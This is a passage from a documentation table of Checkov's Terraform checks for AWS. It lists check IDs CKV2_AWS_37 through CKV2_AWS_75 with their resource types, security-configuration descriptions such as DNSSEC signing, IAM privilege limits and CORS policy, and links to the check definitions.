CKV2_AWS_37     | resource | aws_wafv2_web_acl_logging_configuration                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2084 | CKV2_AWS_37     | resource | aws_worklink_fleet                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2085 | CKV2_AWS_37     | resource | aws_worklink_website_certificate_authority_association           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2086 | CKV2_AWS_37     | resource | aws_workspaces_connection_alias                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2087 | CKV2_AWS_37     | resource | aws_workspaces_directory                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2088 | CKV2_AWS_37     | resource | aws_workspaces_ip_group                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2089 | CKV2_AWS_37     | resource | aws_workspaces_workspace                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2090 | CKV2_AWS_37     | resource | aws_xray_encryption_config                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2091 | CKV2_AWS_37     | resource | aws_xray_group                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2092 | CKV2_AWS_37     | resource | aws_xray_sampling_rule                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2093 | CKV2_AWS_38     | resource | aws_route53_zone                                                 | Ensure Domain Name System Security Extensions (DNSSEC) signing is enabled for Amazon Route 53 public hosted zones                                                                                        | Terraform | [Route53ZoneEnableDNSSECSigning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneEnableDNSSECSigning.yaml)                                                           |\n| 2094 | CKV2_AWS_39     | resource | aws_route53_zone                                                 | Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones                                                                                                                | Terraform | [Route53ZoneHasMatchingQueryLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneHasMatchingQueryLog.yaml)                                                           |\n| 2095 | CKV2_AWS_40     | resource | aws_iam_group_policy                                             | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2096 | CKV2_AWS_40     | resource | aws_iam_policy                                                   | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2097 | CKV2_AWS_40     | resource | aws_iam_role_policy                                              | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2098 | CKV2_AWS_40     | resource | aws_iam_user_policy                                              | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2099 | CKV2_AWS_40     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2100 | CKV2_AWS_40     | resource | data.aws_iam_policy_document                                     | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2101 | CKV2_AWS_41     | resource | aws_instance                                                     | Ensure an IAM role is attached to EC2 instance                                                                                                                                                           | Terraform | [EC2InstanceHasIAMRoleAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EC2InstanceHasIAMRoleAttached.yaml)                                                             |\n| 2102 | CKV2_AWS_42     | resource | aws_cloudfront_distribution                                      | Ensure AWS CloudFront distribution uses custom SSL certificate                                                                                                                                           | Terraform | [CloudFrontHasCustomSSLCertificate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasCustomSSLCertificate.yaml)                                                     |\n| 2103 | CKV2_AWS_43     | resource | aws_s3_bucket_acl                                                | Ensure S3 Bucket does not allow access to all Authenticated users                                                                                                                                        | Terraform | [S3NotAllowAccessToAllAuthenticatedUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3NotAllowAccessToAllAuthenticatedUsers.yaml)                                         |\n| 2104 | CKV2_AWS_44     | resource | aws_route                                                        | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic                                                                                                         | Terraform | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml)                                               |\n| 2105 | CKV2_AWS_44     | resource | aws_route_table                                                  | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic                                                                                                         | Terraform | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml)                                               |\n| 2106 | CKV2_AWS_45     | resource | aws_config_configuration_recorder                                | Ensure AWS Config recorder is enabled to record all supported resources                                                                                                                                  | Terraform | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml)                                                                       |\n| 2107 | CKV2_AWS_45     | resource | aws_config_configuration_recorder_status                         | Ensure AWS Config recorder is enabled to record all supported resources                                                                                                                                  | Terraform | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml)                                                                       |\n| 2108 | CKV2_AWS_46     | resource | aws_cloudfront_distribution                                      | Ensure AWS CloudFront Distribution with S3 have Origin Access set to enabled                                                                                                                             | Terraform | [CLoudFrontS3OriginConfigWithOAI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CLoudFrontS3OriginConfigWithOAI.yaml)                                                         |\n| 2109 | CKV2_AWS_47     | resource | aws_cloudfront_distribution                                      | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                               | Terraform | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 2110 | CKV2_AWS_47     | resource | aws_wafv2_web_acl                                                | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                               | Terraform | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 2111 | CKV2_AWS_48     | resource | aws_config_configuration_recorder                                | Ensure AWS Config must record all possible resources                                                                                                                                                     | Terraform | [ConfigRecorderRecordsAllGlobalResources.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ConfigRecorderRecordsAllGlobalResources.yaml)                                         |\n| 2112 | CKV2_AWS_49     | resource | aws_dms_endpoint                                                 | Ensure AWS Database Migration Service endpoints have SSL configured                                                                                                                                      | Terraform | [DMSEndpointHaveSSLConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/DMSEndpointHaveSSLConfigured.yaml)                                                               |\n| 2113 | CKV2_AWS_50     | resource | aws_elasticache_replication_group                                | Ensure AWS ElastiCache Redis cluster with Multi-AZ Automatic Failover feature set to enabled                                                                                                             | Terraform | [ElastiCacheRedisConfiguredAutomaticFailOver.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElastiCacheRedisConfiguredAutomaticFailOver.yaml)                                 |\n| 2114 | CKV2_AWS_51     | resource | aws_api_gateway_stage                                            | Ensure AWS API Gateway endpoints uses client certificate authentication                                                                                                                                  | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml)                 |\n| 2115 | CKV2_AWS_51     | resource | aws_apigatewayv2_api                                             | Ensure AWS API Gateway endpoints uses client certificate authentication                                                                                                                                  | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml)                 |\n| 2116 | CKV2_AWS_51     | resource | aws_apigatewayv2_stage                                           | Ensure AWS API Gateway endpoints uses client certificate authentication                                                                                                                                  | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml)                 |\n| 2117 | CKV2_AWS_52     | resource | aws_elasticsearch_domain                                         | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled                                                                                                                               | Terraform | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml)                                             |\n| 2118 | CKV2_AWS_52     | resource | aws_opensearch_domain                                            | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled                                                                                                                               | Terraform | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml)                                             |\n| 2119 | CKV2_AWS_53     | resource | aws_api_gateway_method                                           | Ensure AWS API gateway request is validated                                                                                                                                                              | Terraform | [APIGatewayRequestParameterValidationEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayRequestParameterValidationEnabled.yaml)                                 |\n| 2120 | CKV2_AWS_54     | resource | aws_cloudfront_distribution                                      | Ensure AWS CloudFront distribution is using secure SSL protocols for HTTPS communication                                                                                                                 | Terraform | [CloudFrontUsesSecureProtocolsForHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontUsesSecureProtocolsForHTTPS.yaml)                                             |\n| 2121 | CKV2_AWS_55     | resource | aws_emr_cluster                                                  | Ensure AWS EMR cluster is configured with security configuration                                                                                                                                         | Terraform | [EMRClusterHasSecurityConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EMRClusterHasSecurityConfiguration.yaml)                                                   |\n| 2122 | CKV2_AWS_56     | resource | aws_iam_group_policy_attachment                                  | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2123 | CKV2_AWS_56     | resource | aws_iam_policy_attachment                                        | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2124 | CKV2_AWS_56     | resource | aws_iam_role                                                     | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2125 | CKV2_AWS_56     | resource | aws_iam_role_policy_attachment                                   | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2126 | CKV2_AWS_56     | resource | aws_iam_user_policy_attachment                                   | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2127 | CKV2_AWS_56     | resource | aws_ssoadmin_managed_policy_attachment                           | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2128 | CKV2_AWS_56     | resource | data.aws_iam_policy                                              | Ensure AWS Managed IAMFullAccess IAM policy is not used.                                                                                                                                                 | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml)                                                             |\n| 2129 | CKV2_AWS_57     | resource | aws_secretsmanager_secret                                        | Ensure Secrets Manager secrets should have automatic rotation enabled                                                                                                                                    | Terraform | [SecretsAreRotated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SecretsAreRotated.yaml)                                                                                     |\n| 2130 | CKV2_AWS_58     | resource | aws_neptune_cluster                                              | Ensure AWS Neptune cluster deletion protection is enabled                                                                                                                                                | Terraform | [NeptuneDeletionProtectionEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NeptuneDeletionProtectionEnabled.yaml)                                                       |\n| 2131 | CKV2_AWS_59     | resource | aws_elasticsearch_domain                                         | Ensure ElasticSearch/OpenSearch has dedicated master node enabled                                                                                                                                        | Terraform | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml)                                                 |\n| 2132 | CKV2_AWS_59     | resource | aws_opensearch_domain                                            | Ensure ElasticSearch/OpenSearch has dedicated master node enabled                                                                                                                                        | Terraform | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml)                                                 |\n| 2133 | CKV2_AWS_60     | resource | aws_db_instance                                                  | Ensure RDS instance with copy tags to snapshots is enabled                                                                                                                                               | Terraform | [RDSEnableCopyTagsToSnapshot.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEnableCopyTagsToSnapshot.yaml)                                                                 |\n| 2134 | CKV2_AWS_61     | resource | aws_s3_bucket                                                    | Ensure that an S3 bucket has a lifecycle configuration                                                                                                                                                   | Terraform | [S3BucketLifecycle.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLifecycle.yaml)                                                                                     |\n| 2135 | CKV2_AWS_62     | resource | aws_s3_bucket                                                    | Ensure S3 buckets should have event notifications enabled                                                                                                                                                | Terraform | [S3BucketEventNotifications.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEventNotifications.yaml)                                                                   |\n| 2136 | CKV2_AWS_63     | resource | aws_networkfirewall_firewall                                     | Ensure Network firewall has logging configuration defined                                                                                                                                                | Terraform | [NetworkFirewallHasLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NetworkFirewallHasLogging.yaml)                                                                     |\n| 2137 | CKV2_AWS_64     | resource | aws_kms_key                                                      | Ensure KMS key Policy is defined                                                                                                                                                                         | Terraform | [KmsKeyPolicyIsDefined.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/KmsKeyPolicyIsDefined.yaml)                                                                             |\n| 2138 | CKV2_AWS_65     | resource | aws_s3_bucket_ownership_controls                                 | Ensure access control lists for S3 buckets are disabled                                                                                                                                                  | Terraform | [AWSdisableS3ACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSdisableS3ACL.yaml)                                                                                         |\n| 2139 | CKV2_AWS_66     | resource | aws_mwaa_environment                                             | Ensure MWAA environment is not publicly accessible                                                                                                                                                       | Terraform | [AWS_private_MWAA_environment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWS_private_MWAA_environment.yaml)                                                               |\n| 2140 | CKV2_AWS_68     | resource | aws_iam_role                                                     | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Terraform | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)                           |\n| 2141 | CKV2_AWS_68     | resource | aws_sagemaker_notebook_instance                                  | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Terraform | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)                           |\n| 2142 | CKV2_AWS_69     | resource | aws_db_instance                                                  | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Terraform | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml)                                                                           |\n| 2143 | CKV2_AWS_69     | resource | aws_db_parameter_group                                           | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Terraform | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml)                                                                           |\n| 2144 | CKV2_AWS_70     | resource | aws_api_gateway_method                                           | Ensure API gateway method has authorization or API key set                                                                                                                                               | Terraform | [APIGatewayMethodWOAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodWOAuth.py)                                                                                   |\n| 2145 | CKV2_AWS_71     | resource | aws_acm_certificate                                              | Ensure AWS ACM Certificate domain name does not include wildcards                                                                                                                                        | Terraform | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ACMWildcardDomainName.yaml)                                                                             |\n| 2146 | CKV2_AWS_72     | resource | aws_cloudfront_distribution                                      | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only                                                                                                                                         | Terraform | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudfrontOriginNotHTTPSOnly.yaml)                                                               |\n| 2147 | CKV2_AWS_73     | resource | aws_sqs_queue                                                    | Ensure AWS SQS uses CMK not AWS default keys for encryption                                                                                                                                              | Terraform | [SQSEncryptionCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SQSEncryptionCMK.yaml)                                                                                       |\n| 2148 | CKV2_AWS_74     | resource | aws_alb_listener                                                 | Ensure AWS Load Balancers use strong ciphers                                                                                                                                                             | Terraform | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml)                                                                                             |\n| 2149 | CKV2_AWS_74     | resource | aws_lb_listener                                                  | Ensure AWS Load Balancers use strong ciphers                                                                                                                                                             | Terraform | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml)                                                                                             |\n| 2150 | CKV2_AWS_75     | resource | aws                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2151 | CKV2_AWS_75     | resource | aws_accessanalyzer_analyzer                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2152 | CKV2_AWS_75     | resource | aws_accessanalyzer_archive_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2153 | CKV2_AWS_75     | resource | aws_account_alternate_contact                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2154 | CKV2_AWS_75     | resource | aws_account_primary_contact                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2155 | CKV2_AWS_75     | resource | aws_account_region                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2156 | CKV2_AWS_75     | resource | aws_acm_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2157 | CKV2_AWS_75     | resource | aws_acm_certificate_validation                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2158 | CKV2_AWS_75     | resource | aws_acmpca_certificate                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2159 | CKV2_AWS_75     | resource | aws_acmpca_certificate_authority                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2160 | CKV2_AWS_75     | resource | aws_acmpca_certificate_authority_certificate                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2161 | CKV2_AWS_75     | resource | aws_acmpca_permission                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2162 | CKV2_AWS_75     | resource | aws_acmpca_policy                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2163 | CKV2_AWS_75     | resource | aws_alb                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2164 | CKV2_AWS_75     | resource | aws_alb_listener                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2165 | CKV2_AWS_75     | resource | aws_alb_listener_certificate                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2166 | CKV2_AWS_75     | resource | aws_alb_listener_rule                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2167 | CKV2_AWS_75     | resource | aws_alb_target_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2168 | CKV2_AWS_75     | resource | aws_alb_target_group_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2169 | CKV2_AWS_75     | resource | aws_ami                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2170 | CKV2_AWS_75     | resource | aws_ami_copy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2171 | CKV2_AWS_75     | resource | aws_ami_from_instance                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2172 | CKV2_AWS_75     | resource | aws_ami_launch_permission                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 